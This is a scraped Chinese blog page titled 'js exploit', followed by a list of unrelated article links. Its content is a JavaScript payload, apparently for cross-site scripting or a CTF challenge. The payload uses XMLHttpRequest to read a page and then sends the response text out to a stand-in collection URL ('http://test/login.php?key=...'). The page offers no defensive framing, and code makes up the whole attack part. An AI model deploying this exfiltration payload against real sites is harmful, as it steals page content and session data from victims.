js exploit
来源:互联网 发布:监听rpc服务器端口 编辑:程序博客网 时间:2024/04/30 22:50
js获取页面的代码
//构建xhrrequest包
function
createXHR () {
var
request =
false
;
if
(window.XMLHttpRequest) {
request =
new
XMLHttpRequest();
if
(request.overrideMimeType) {
request.overrideMimeType(
'text/xml'
);
}
}
else
if
(window.ActiveXObject) {
var
versions = [
'Microsoft.XMLHTTP'
,
'MSXML.XMLHTTP'
,
'Microsoft.XMLHTTP'
,
'Msxml2.XMLHTTP.7.0'
,
'Msxml2.XMLHTTP.6.0'
,
'Msxml2.XMLHTTP.5.0'
,
'Msxml2.XMLHTTP.4.0'
,
'MSXML2.XMLHTTP.3.0'
,
'MSXML2.XMLHTTP'
];
for
(
var
i = 0; i < versions.length; i++) {
try
{
request =
new
ActiveXObject(versions);
}
catch
(e) {}
}
}
return
request;
}
//get方式
function
get (xhr, url) {
xhr.open(
"GET"
, url,
false
);
xhr.send();
return
xhr.responseText;
}
var
xhr = createXHR();
var
x = get(xhr,
'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/'
);
get(xhr,
"http://test/login.php?key="
+escape(x));
0 0
- js exploit
- exploit
- exploit
- Exploit
- Exploit
- VBS.Exploit
- ani exploit
- 什么是exploit
- ms08069 exploit
- exploit search
- 什么是exploit
- explore exploit
- sharepoint exploit
- exploit search
- badusb exploit
- netforce exploit
- 注入exploit
- exploit - write metasploit exploit script
- iOS 自定义结构体、结构体转换成对象
- unix Domain socket(python)
- MC9S12G中文教学
- c++ virtual的作用
- TCP与UDP区别
- js exploit
- 蓝桥杯 欧拉和鸡蛋
- 安卓问题集锦
- SQL动态行列变换
- 数据库必备
- C++ MD5字符串加密
- linux设置ls显示的各种文件颜色
- MC9S12G ADC配置
- cf #344 div2 -C. Report